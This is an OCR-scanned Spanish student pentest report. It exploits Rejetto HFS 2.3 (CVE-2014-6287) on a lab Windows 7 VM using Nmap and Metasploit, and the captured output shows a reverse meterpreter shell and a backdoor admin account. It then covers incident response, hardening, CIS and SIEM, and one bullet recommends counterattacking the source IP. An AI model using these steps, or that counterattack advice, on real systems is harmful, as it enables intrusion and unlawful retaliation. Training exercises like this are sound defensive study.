reserva publica, la cual habrian obtenido de caréacter ilegal de las redes
internas del ejército sin consentimiento alguno de sus superiores.
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Es evidente como este tipo de leyes siguen siendo violadas de manera recurrente,
ya que es dificil la identificacion de los sucesos y el rastreo de las personas que
estan detrds de las vulneraciones a sistemas informaticos dia a dia, por esto es
preciso recalcar la importancia de la seguridad informética por parte de los
profesionales del area, donde deben ayudar a proteger o salvaguardar la
confidencialidad y disponibilidad de la informacién en los diferentes escenarios que
se aplique.
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9. HERRAMIENTAS SOFTWARE UTILIZADAS - EVIDENCIAS DE LOS
COMANDOS UTILIZADOS Y RESULTADOS QUE ARROJO CADA
HERRAMIENTA

Herramientas Software utilizadas para la solucién del problema propuesto:

VirtualBox 6.1.

Kali Linux 2.5.3.

Windows 7 X64.

Nmap.

Metasploit Framework Data Base.

ANENENENRN

Evidencias de los pasos de un Pentesting aplicados a la actividad Unidad 2 —
Etapa 3

e Recopilacion de informacion

Esta etapa inicial tiene como objetivo hallar datos importantes sobre la aplicacion o
proceso activo Rejetto 2.3, donde segun la informacion brindada en Anexo 4 —
Escenario 3 desde una maquina que tiene Windows 7 con arquitectura X64 se esta
presentando una fuga de informacion sensible.

Sobre la aplicacion mencionada se logra consultar la siguiente informacion
importante, la cual puede ayudar a comprender el entorno de estudio actual:

Descripcion?®

La funcién findMacroMarker en parserLib.pas en Rejetto HTTP File Server (también
conocido como HFS o HttpFileServer) 2.3x anterior a 2.3c permite a atacantes
remotos ejecutar programas arbitrarios a través de una secuencia %00 en una
accion de busqueda.

20 |NCIBE-CERT. (2014) Vulnerabilidad en la funcién findMacroMarker en Rejetto HTTP File Server (CVE-2014-
6287). Recuperado de https://www.incibe-cert.es/alerta-temprana/vulnerabilidades/cve-2014-6287
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Impacto

Vector de acceso: A través de red.

Complejidad de Acceso: Baja.

Autenticacion: No requerida para explotarla.

Tipo de impacto:

v' Compromiso total de la integridad del sistema.
v' Compromiso total de la confidencialidad del sistema.
v' Compromiso total de la disponibilidad del sistema.

Herramienta para explotar vulnerabilidad

v Exploit a través de Metasploit framework.

Adicionalmente se realiza un andlisis con la herramienta Nmap sobre el segmento
de red, donde se identifican los equipos que se encuentran activos en la misma y
gue sistema operativo ejecutan, esto a fin de conocer cual posee Windows 7 X64.

Figura 10.

Ejecucion de Nmap para buscar equipos activos en red

kali@kali: ~

Archivo Acciones Editar Vista Ayuda

Nmap
Host
Nmap
Host
Nmap
Host
Nmap

nmaj 192.168.8.1/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 00:32 -05

scan report for 192.168.8.1

is up (0.0061s latency).

scan report for 192.168.8.111

is up (0.0035s latency).

scan report for 192.168.8.112

is up (0.00086s latency).

done: 256 IP addresses (3 hosts up) scanned in 2.57 seconds

Fuente: Elaboracion propia
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Figura 11. Ejecucién de Nmap para la identificacion de informacion adicional como
sistema operativo

/home/kali
6 1

/home/kali

Fuente: Elaboracion propia

e Busquedade vulnerabilidades.

En esta etapa se inicia con la busqueda de las falencias que pueda tener el sistema
que se quiere explotar, en esta busqueda se pueden emplear ataques de fuerza
bruta, denegacion de servicio (DoS), entre otras técnicas.

Posteriormente se ejecuta un scaneo a fin de identificar vulnerabilidades que posee
el equipo donde se reporta el fallo, especificamente en este caso se identifica el
puerto 80 abierto con un HFS activo.
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Figura 12. Ejecucion de Nmap para identificar el estado de puertos y posibles
vulnerabilidades

root@kali: /home/kali

Archivo Acciones Editar Vista Ayuda

? /home/kali
192.168.8.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-23 23:22 -05
Nmap scan report for 192.168.8.111
Host is up (0.00022s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3b
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
MAC Address: ©08:00:27:50:E9:DF (Oracle VirtualBox virtual NIC)
Service Info: Host: WIN64-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Fuente: Elaboracion propia

Al identificar el HFS activo con puerto abierto, se realiza una busqueda de las
posibles herramientas de explotacion a fin de proceder a la etapa de explotaciéon de
la vulnerabilidad.

Figura 13. Busqueda de Exploit para HFS en Metasploit framework

: Adapte ame used for IP

ch hfs

Disclosure Date Rank Check Descripti
No Malicious

Yes

Fuente: Elaboracion propia
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e Explotacion de Vulnerabilidades

En esta fase posterior a la deteccion de vulnerabilidades, se obtiene acceso al
sistema por medio de diferentes métodos aplicados para la explotacion, un ejemplo
gue podria mencionarse es la inyeccion de cédigo SQL mediante herramientas
como SQLmap o Metasploit, entre otras técnicas segun sea el caso necesario para
aplicar.

Para este caso particular se ejecuta el exploit rejetto_hfs_exec el cual logra explotar
la vulnerabilidad, generando una shell reversa y una sesién abierta de meterpreter
dando acceso al equipo remoto con Windows 7 x64, facilitando las acciones que se
evidencian en las siguientes figuras adjuntas.

Figura 14. Carga del exploit reverse_tcp con IP destino y servidor con sesion
meterpreter ejecutada

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

Interact with a module by name or index. For example

nfAlU.vbs' on the target

8.111:50262) at 2021-09-22 10:

Fuente: Elaboracion propia
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Figura 15. Creacion de usuario JhonAngarita en la sesion remota e inicio de la
inclusion en el grupo de usuario administrador

Terminalnro.1
hivo Acciones Editar Vista Ayuda

Server started.
Sending a malicious request to /
Server stopped.
[!] This exploit may require manual cleanup of '¥% 6\xtnfAU.vbs"
Exploit completed, but no session was created.

msf6 exploit( ) > exploit

the target

Started reverse TCP handler on 192.168.8.112:4444
Using URL: http://192.168.8.112:8080/rEP58RhVn
Server started.
Sending a malicious request to /
Payload request received: /reP58RhVn
Sending stage (175174 bytes) to 192.168.8.111
] Tried to delete ¥TEMP%\ckyuUfpjbHb.vbs, unknown result

Meterpreter session 1 opened (192.1 8.112:4444 — 192.168.8.111:50.
25:08 -0500
Server stopped.

at 2021-09-22 10:

meterpreter > run getgui -u JhonAngarita -p 1234
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [ ...]
Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
Carlos Perez carlos_perezadarkoperator.com
Setting user account for logon
Adding User: JhonAngarita with Password: 1234
Account could not be created
Erro
Se ha completado el comando correctamente.
For cleanup use command: run multi_console_command -r /home/kali/.msf4/logs/scripts/getgui
/clean_up__20210922.3908.rc
meterpreter > use incognito
Loading extension incognito ..
meterpreter >

Fuente: Elaboracion propia

Figura 16. Escalamiento de privilegios como usuario administrador

Terminal nro. 1

okens will be

CIO DE SESION EN LA CONSOLA

NT
NT
NT
NT
NT

A

dd user JhonAn
dded user to 1

Fuente: Elaboracion propia
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Figura 17. Validacion de usuario JhonAngarita como administrador en Windows 7

BB WiN7X64 (Comendal - Grace VM VirsalBox - B

wﬂ&« Cuentas de usuario » Administrar cuentas + [ 49 |[ Buscaren et Panei de control £

Elegir la cuenta que desee cambiar

(=l ‘777' JhonAngarita
| ' NG | Administrador
‘ i Administrador Protegida por contrasefia
‘ Invitado
La cuenta de invitado esta desactivada

Crear una nueva cuenta

£Qué es una cuenta de usuario?

Acci alizar

& Configurar Control parental

Irala pagina principal de Cuentas de usuario

= S . | i ) o

" Fuente: Elaboracién propia
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10. DATOS E INFORMACION QUE AYUDARON A IDENTIFICAR EL FALLO DE
SEGURIDAD QUE ATACA LA MAQUINA WINDOWS 7 X64

Los datos importantes que se brindan en este anexo como ayuda a la identificacion
del fallo de seguridad fueron los siguientes:
v Nombre de la aplicacién o proceso activo.
Rejetto 2.3.
v/ Sistema operativo y arquitectura de la maquina donde se ejecuta.
Windows 7 con arquitectura X64 Bits.
v' Tipo de herramienta maliciosa utilizada.
Exploit.
v" Vector de Acceso.
A través de recursos de Red.
v' Escalamiento de privilegios.

Tipo administrador del sistema.
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11. HERRAMIENTA UTILIZADA PARA IDENTIFICAR LOS FALLOS DE
SEGURIDAD Y PUERTO QUE ABRE LA APLICACION

¢ Qué herramienta utilizé para poder identificar los fallos de seguridad de la
“maquina Windows 7”?

La aplicacion utilizada para la identificacion es Nmap por medio del comando nmap
192.168.8.111, este se ejecuta sobre Kali Linux permitiendo realizar escaneo de
redes y puertos, a fin de identificar servicios activos en los hosts, servidores, router,
etc.

¢, Qué puerto abre la aplicacion especifica en el anexo?

El puerto que se abre por medio de Rejetto 2.3 es el TCP 80 por tipo de servicio
Http.

Figura 18. Ejecucion de Nmap a host con Windows 7 en Kali Linux

kali@kali: ~
Archivo Acciones Editar Vista Ayuda

- nmap 192.168.8.111

Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-22 00:09 -05
Nmap scan report for 192.168.8.111
Host is up (0.0022s latency).

Not shown: 989 closed ports

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49159/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds

- | ~

Fuente: Elaboracion propia
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12. COMO AFECTA EL ATAQUE A LA MAQUINA (WINDOWS 7 X64)

El ataque realizado hace provecho de la vulnerabilidad existente en Rejetto HTTP
File Server 2.x, esta aprovecha una funcion llamada findMacroMarker de la
biblioteca parserLib.pas de Windows, repercutiendo de manera directa en la toma
de control de la maquina a través de una Shell remota dando como resultado la
escala de privilegios como usuario administrador.

Este tipo de procedimiento usa como vector de atague servicios de red,
comprometiendo en alto porcentaje la integridad, confidencialidad y disponibilidad
total del sistema.

Figura 19. Grafica de ejecuciéon de ataque

Computer Application 2a. Feteh script from Pastebin

rest Pastebin
client
library

Compromised library

1.User
launches app

2b. Send script back 'HE"O WOI’ld..'
9

3. Execute
Pastebin
script

prepared
malicious code

9.

User Hacker

Fuente: Victoria?!

2L VICTORIA, C. (2019) Enfoque de vulnerabilidad: ataques de ejecucién remota de cédigo (RCE). Recuperado
de https://blog.meterian.com/2019/08/27/vulnerability-focus-remote-code-execution-rce-attacks/
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13. DOCUMENTACION PARA EXPLOTAR LA VULNERABILIDAD EN LA
MAQUINA WINDOWS 7

Como se tiene informacion inicial sobre un exploit que estd explotando la
vulnerabilidad, se remite a la herramienta de explotacion de Metasploit framework.

Figura 20. Ejecucion Metasploit framework en herramientas de explotacion

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

[+1 configuration fi /share/metasploit-framework/config/database.yml’
initial database

Fuente: Elaboracion propia

De manera adicional se genera la blusqueda de exploits que tenga relacion con hfs
0 rejetto, para posteriormente iniciar la ejecucion del mismo.
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Figura 21. Basqueda de Exploit para Hfs

post

- 10 nops

used for IP para

Rank Check Descripti

Malicious

ct with a module by name or index. For ¢

Fuente: Elaboracion propia

Posteriormente se ejecuta el exploit rejetto _hfs_exec, el cual realiza la explotacion
de manera efectiva y abre una sesion para poder realizar el escalamiento via shell.

Figura 22. Carga del exploit reverse tcp con IP destino y servidor con sesion
meterpreter ejecutada

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

ith a module by name or index. For example

' on the

[!] Tried
Meterp

Fuente: Elaboracion propia
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Se procede a la creacion del respectivo usuario a fin de generar el escalamiento de
privilegios en el sistema.

Figura 23. Creacion del usuario JhonAngarita en la sesion remota e inicio de la
inclusion en el grupo de usuario administrador

ha compl do ¢ comando co
anup us ; : orun multi_cc
2

Fuente: Elaboracion propia

Se incluye el usuario “JhonAngarita” en la escala o grupo de administradores del
sistema.

Figura 24. Se realiza escalamiento de privilegios como usuario administrador

Terminalnre.1
Archivo Acciones Editar Vista Ayuda
le 202109 9

NICIO DE SESION EN LA CONSOLA

dministradores

Fuente: Elaboracion propia
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Se realiza la validacion del ataque en la maquina virtual que tiene el sistema
operativo windows 7 x 64, constatando que el ataque ha sido satisfactorio al validar
que el usuario se encuentra creado y posee privilegios de administrador.

Figura 25. Se realiza validacién de usuario JhonAngarita como administrador en
Windows 7

"]

@uv 82, « Cuentas de usuario » Administrar cuentas ~ | 49 || Buscar en el Panei de contro £

Elegir la cuenta que desee cambiar

WING4 JhonAngarita
Administrador
Administrador -
Protegida por contrasefia
Invitado
- La cuenta de invitado ests desactivada

2 cuenta de usuario?

Acciones adicionales que se pueden realizar
% Configurar v

Ira la pégina pri

) =

\)‘[Hb] : EsA\';li#?:H»m;;
Fuente: Elaboracion propia
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14. QUE HACER SI LLEGARA A ENCONTRAR UN ATAQUE EN TIEMPO REAL

Al enfrentar un ataque informéatico se debe tener una base de conocimientos solida
como profesionales, ya que de esto depende la pronta contingencia que se le dé al
caso y ante todo la pronta solucién al mismo.

Cabe resaltar que es vital actuar con prontitud, ya que al pasar el tiempo se puede
ampliar el dafio informéatico ocasionado, afectando la integridad, confidencialidad y
disponibilidad del sistema atacado.

Ante estas circunstancias y lo planteado en el anexo, se podria entrar a indagar lo
que se menciona a continuacion:

e Analizar de donde proviene el ataque, es decir, si es desde la LAN o WAN,
ya gue con eso se puede tomar decisiones a lo que se va a realizar para
contenerlo.

¢ |dentificar la direccion IP interna o externa desde donde se esta realizando e
incluirla en las reglas de denegacion de conexion del firewall, esto con el fin
de evidenciar si persiste el ataque desde otra ubicacion.

e Recurrir a herramientas de analisis de trafico de red para visualizar con
claridad la informacion o paquetes que transitan por la misma.

e Desconectar el equipo de la red e indagar si esta haciendo bots autbnomos
0 autométicos.

e Activar el firewall de Windows o del antivirus que se esté usando para
proteger el equipo o la red atacada y validar si se presentan anomalias.

e Si se posee infraestructura Tl robusta contraatacar la direccion IP de origen
por métodos que ayuden a colapsar esta ruta de datos.

e Actualizar o parchar el equipo atacado a nivel de seguridad del sistema
operativo para ver si se detiene el mismo.

e Aplicar politicas de autenticacion con umbrales de seguridad, entre estos se
puede encontrar umbral de blogqueo de cuenta, tiempo de reactivacion. Como
también directivas de seguridad para el uso de contrasefias robustas,
aumentando asi el nivel de seguridad.
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e Luego de controlar el ataque realizar la implementacion de IDS, IPS, SIEM o
cualquier tipo de mecanismo de defensa para aumentar los niveles de
seguridad y tratar de mitigar en alto porcentaje el riesgo actual.
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15. MEDIDAS DE HARDENIZACION PROPUESTAS PARA QUE NO SE REPITA
EL ATAQUE EJECUTADO DESDE EL EJERCICIO DE RED TEAM

Actualmente es de vital importancia mantener altos los niveles de seguridad de los
equipos de cOmputo que se tienen en las empresas, ya que de esto depende en alto
porcentaje el flujo de produccion de los negocios.

Teniendo en cuenta lo aplicado desde el ejercicio de Redteam se puede proponer
o reforzar las siguientes medidas de seguridad (hardening) que se mencionan a
continuacion:

e Actualizar el sistema operativo con las versiones mas recientes a nivel de
seguridad.

e Activar el firewall con politicas de preferencia por parte del personal Tl, para
proteger las conexiones que se envian o reciben sobre la red en la cual se
esta operando.

e Asignar controles de usuarios por medio de directivas de seguridad local.

e Activar cuentas diferentes a la del administrador, de esta manera se
restringen las modificaciones directas al sistema operativo.

e Monitorear la red por medio de herramientas que sean aliadas para los
administradores de infraestructura, en las que se puede encontrar (PRTG,
Pandora FMS, etc.).

e Utilizar listas de control de acceso (ACL) en los dispositivos activos, para
evitar la intrusion de dispositivos no autorizados en la red.

e Crear Vlan en la red de la compafiia, esto con el fin de aislar o dividir las
dependencias y asi evitar que al atacar un equipo se tenga acceso a la red
por completo.

e Usar directorios activos con el fin de asignar permisos escalables o con
restricciones, esto con el animo de controlar el acceso a recursos de red,
entre otros.

e Implementar el cifrado de informacion en los sistemas operativos como
barrera de proteccion ante el robo de informacion confidencial.

e Sugerir el uso de VPN para las conexiones de equipos fuera de la LAN de la
compafia.

48



Establecer contrasefias robustas, que tengan caducidad en el tiempo y con
umbrales de inicio de sesion.

Gestionar el uso de certificados de seguridad en las comunicaciones como
HTTP, SMTP, POP, entre otros.

Escanear las direcciones IP de forma automatizada constantemente, esto
con el fin de estar alerta ante alteraciones no autorizadas en los equipos de
coémputo de la organizacion.

Restringir o inhabilitar el uso de servicios innecesarios sobre los cuales no se

vayan a ejecutar procesos, evitando backdoor en los equipos o sistemas
operativos en produccién
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16. DESCRIPCION DE LAS DIFERENCIAS ENTRE UN EQUIPO BLUETEAM
Y UN EQUIPO DE RESPUESTA A INCIDENTES INFORMATICOS

Un equipo Blue Team es aquel que tiene como mision principal realizar la defensa
de manera proactiva en la compafila ante ataques informaticos, brindando
soluciones ante los eventos que se puedan presentar, entre las funciones
esenciales de un Blue Team se pueden mencionar algunas de mayor relevancia
como lo son:

e Monitoreo constante de patrones o0 actos que se encuentren fuera del uso
tradicional del sistema o aplicaciones.

¢ Andlisis de los sistemas y aplicativos pertenecientes a la infraestructura de
tecnologia de la organizacion.

¢ Identificacién de fallos o vulnerabilidades con el fin de verificar la eficiencia
de las medidas de seguridad aplicadas.

e Recomendacion de planes para actuar en la mitigacion de los riesgos.

e Establecimiento de medidas para futuros caso as detectar??.

Mientras que el equipo de respuesta frente a Incidencias de
Seguridad Informética (CSIRT) es quien estd atento a hechos reales o
sospechosos que puedan terminar siendo una vulnerabilidad, dentro de sus
funciones se puede mencionar:

e Deteccidn de alteraciones no autorizadas de software y hardware.

e Ejecucidn de tiempos de respuesta eficientes para disminuir dafios o
afectaciones.

¢ |dentificacion y clasificacion de los tipos de ataques.

e Desarrollo de planes de continuidad, prevencion y recuperacion ante
desastres.

Segun lo que se menciona anteriormente, queda claro que ambos hacen parte o
cumplen con un rol importante en la mitigacion de riesgos informaticos, ofreciendo
mejores niveles de seguridad y garantizando en alto porcentaje la disponibilidad de
la infraestructura tecnoldgica de las empresas?3.

22 UNIR. (2020). Red Team, Blue y Purple Team, écudles son sus funciones y diferencias?. Recuperado de:
https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/

23 CESICAT. Equipo de Respuesta a Incidentes. Recuperado de: https://owasp.org/www-pdf-
archive//OWASPSpain8 CESICAT Equipo de Repuesta a Incidentes.pdf
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17.¢SI DENTRO DE UN EQUIPO BLUE TEAM LE INDICAN QUE DEBE
TRABAJAR CON CIS “CENTER FOR INTERNET SECURITY” USTED LO
UTILIZARIA PARA QUE FIN?

Actualmente usaria CIS (center for internet security) para aplicar el conjunto de
controles que tiene incluidos y asi se puedan orientar a la seguridad critica de la
organizacién. Estos por su parte, serian de gran ayuda en el mejoramiento de las
politicas de seguridad.

Adicionalmente se podria optar por ejecutar o aplicar segun se necesite la
clasificacion de los controles que se mencionan a continuacion:

e Controles de CIS basicos: Estos son controles de seguridad de uso general
gue cada organizacion debe implementar para garantizar la disponibilidad de
una defensa informética esencial.

e Controles de CIS fundamentales: Estos son controles que las organizaciones
deben implementar para contrarrestar amenazas técnicas mas especificas.

e Controles de CIS organizacionales: Estos controles estan menos enfocados
en aspectos técnicos y mas enfocados en las personas y los procesos
involucrados con la seguridad informatica. La organizacion debe implementar
estas practicas clave internamente para garantizar la madurez de la seguridad
a largo plazo.

Estas herramientas podrian ser muy importantes, ya que contribuyen a:
e Prevenir los ataques de alto impacto o de mayor alcance.

e Desarrollar un gran escudo de seguridad cibernética enfocado al hardening
en los activos de la organizacion.

e Seguir un enfoque validado de gestion de riesgos, basandose en la aplicacion
de los mismo al mundo real.

e Aplicar el conjunto de técnicas mas efectivas que estén disponibles con la
intensién especifica de mejorar la proteccion de los activos de la empresa?®“.

24 CIS. (2021). Controles CIS versién 8. Recuperado de: https://www.cisecurity.org/controls/v8/
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18. FUNCIONES Y CARACTERISTICAS PRINCIPALES DE UN SIEM

Los sistemas SIEM han logrado escalar como una de las mejores opciones para
que las organizaciones puedan enfrentar de forma inmediata cualquier incidente o
amenaza para la seguridad de sus sistemas informaticos.

Se define como SIEM (gestor de informacién y eventos de seguridad) al conjunto
de software que ofrece datos detallados e importantes a las organizaciones o
administradores de infraestructura informética, con la intension de identificar
vulnerabilidades a las que pueden estar expuestos actualmente.
Funciones Principales.

e Detectar fallos generales de seguridad.

e Rastrear amenazas de seguridad.

e Identificar ataques o vulnerabilidades activas en tiempo real.

Caracteristicas Principales.

e Usar un sistema de datos estandarizado para enfrentar los riesgos
informaticos.

e Ayudar a mejorar la seguridad de las compaiiias.

e Dar a conocer una perspectiva general de la proteccion actual de las
empresas.

e Generar informes basados en la recopilacion de datos inicial.

e Reconocer patrones de ataque informatico por medio de repositorios con el
fin de mitigar con efectividad las amenazas presentes.

¢ Notificar en tiempo real lo que esta sucediendo en los activos tecnolégicos.
e Establecer patrones de conducta para evitar accesos futuros.
e Disminuir el trabajo del personal de IT.

e Responder con rapidez y eficacia a soluciones que se necesiten con
urgencia.
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e Documentar todo el proceso de deteccion, actuacion y resolucion de
incidentes?®.

25 PEDROZA, J. (2016). Implementacién de un Gestor de Seguridad de la Informacion y Gestién de Eventos
(SIEM). Recuperado de:
http://bibliotecadigital.usb.edu.co/bitstream/10819/3944/1/Implementacion Gestor Seguridad Pedroza 2

016.pdf
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19. HERRAMIENTAS DE CONTENCION DE ATAQUES INFORMATICOS
“HARDWARE O SOFTWARE”

Para la contencion de ataques de manera eficiente y autbnoma se hace uso de
herramientas basadas en hardware y software, estas ayudan en la ejecucion rapida
ante contingencias que se puedan enfrentar en ataques a nivel de red o fisicas. A
continuacion, se mencionan algunos importantes en el sector de seguridad de la
informacion.

e Los Firewall de FortiGate inspeccionan el trafico a hiperescala a medida que
entra y sale de la red. Estas inspecciones ocurren a una velocidad, escala y
rendimiento incomparables para garantizar que solo se permita el trafico
legitimo, todo esto sin degradar la experiencia del usuario ni crear tiempos
de inactividad costosos?.

¢ |IBM QRadar SIEM ayuda a los equipos de seguridad a detectar amenazas
con precision y darle prioridad a las mismas. Este puede correlacionar
diferentes datos y agregar eventos relacionados en una sola alarma para un
rapido analisis y prevencion de incidentes. También puede generar alertas
de prioridad junto con el progreso del ataque en la cadena de eliminacion.
Esta solucion esta disponible en la nube (entornos laaS y SaaS) y en entorno
local.

e McAfee Enterprise Security Manager es una herramienta SIEM de la
prestigiosa empresa de seguridad McAfee permite monitorizar los sistemas
para poder recopilar, analizar y comparar incidentes de seguridad con una
gran base de datos de registros, y asi poder detectar amenazas de forma
inteligente?’.

26 FORTINET. (2020). Next-Generation Firewall de FortiGate. Recuperado de:
https://www.fortinet.com/lat/products/next-generation-firewall

27 AMBIT. (2021). ¢ Qué significa SIEM y cémo funciona?. Recuperado de: https://www.ambit-
bst.com/blog/qu%C3%A9-significa-siem-y-c%C3%B3mo-funciona
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CONCLUSIONES

Por medio de la ley 1273 de 2009 y la 1581 de 2012 se le da vital importancia a la
confidencialidad de la informacion, castigando con penas ejemplares a quien abuse
accediendo a sistemas informaticos o divulgando datos de terceros sin previo
consentimiento de parte de quien tiene derechos por norma sobre lIos mismos.

Se analiza la importancia del cédigo de ética para profesionales de ingenieria, los
cuales dan una pauta clara sobre las responsabilidades y recomendaciones a tener
en cuenta en el desarrollo de la vida profesional o laboral.

Se presenta un reporte de ejecucion de pentesting para dar a conocer las falencias
y vulnerabilidades que pueda poseer Red Team de igual forma se da a conocer las
herramientas para realizar los ataques informaticos mas comunes y a su vez
informacion de sitios web donde se centralizan los errores comunes a nivel de
seguridad de sistemas informaticos.

Al encontrar la vulnerabilidad y explotarla respectivamente, se logra evidenciar las
falencias que pueden aprovechar los equipos Red Team, comprometiendo asi la
confidencialidad, integridad y disponibilidad de la informacién en las organizaciones
gue no poseen buenas practicas al proteger su infraestructura tecnologica.

Al presentarse un ataque en tiempo real se debe realizar acciones de inmediato
como el andlisis del ataque, identificacion de la IP, analizar el trafico, activar el
firewall, aplicar las politicas de autenticacion con umbrales de seguridad, parchar el
equipo atacado para controlar el ataque y poder implementar IDS, IPS, SIEM o
cualquier tipo de mecanismo de defensa que impida que se realice el ataque
nuevamente.

Las empresas deben mantener niveles altos de seguridad en cuanto a contar con el
sistema operativo actualizado, activar el firewall, asignar controles de usuarios con
permisos escalables, monitorear la red, utilizar ACL, VPN y VLAN, implementar
cifrado de la informacion, utilizar contrasefas robustas y certificados de seguridad
en las comunicaciones y restringir los servicios innecesarios.
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RECOMENDACIONES

Segun la informacién profundizada mediante el desarrollo de las actividades
incluidas en los anexos, se evidencian fallas a nivel general, es decir, en el aspecto
legal, ético, de ataque y mitigacion de factores de riesgo informatico, teniendo en
cuenta lo anterior y con el objetivo de mejorar los procesos se realizan las siguientes
recomendaciones:

e Mejorar los procesos de contratacion basados en la efectiva aplicacion de las
leyes 0 normas actuales vigentes, aclarando los términos y condiciones de
qguienes se postulen a nuevos cargos en la organizacion.

e Incentivar a los empleados de la entidad para que apliquen de manera
correcta su ética profesional, del comportamiento de estos depende en gran
medida el desarrollo adecuado de los procesos que se ejecutan, evitando asi
posibles conflictos a nivel legal segiin su comportamiento aplicado.

e Capacitar a los integrantes de la empresa en la ejecucion de buenas
practicas de seguridad informatica, ya que estos son un eslabén fundamental
para ayudar a proteger los activos informéaticos de la misma.

o Fortalecer los niveles de seguridad que se tienen actualmente, ya que han
desencadenado en problemas de confidencialidad para la informacién de la
empresa. Por medio de estos se puede lograr la conservacion de su
integridad y disponibilidad.

e Invertir en la implementacion de dispositivos de hardware o software que
logre hacer robusta la infraestructura tecnolégica, entre los que se pueden
mencionar FIREWALL, IDS, IPS, SIEM, entre otros.

e Implementar la ejecucién de herramientas para el monitoreo en tiempo real
de las actividades que ocurren en los sistemas informaticos de la empresa,
con esta préctica se puede lograr la mitigacion de problemas de
ciberseguridad.
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https://youtu.be/mUHCcR2MZfi4

60


https://youtu.be/mUHcR2MZfi4

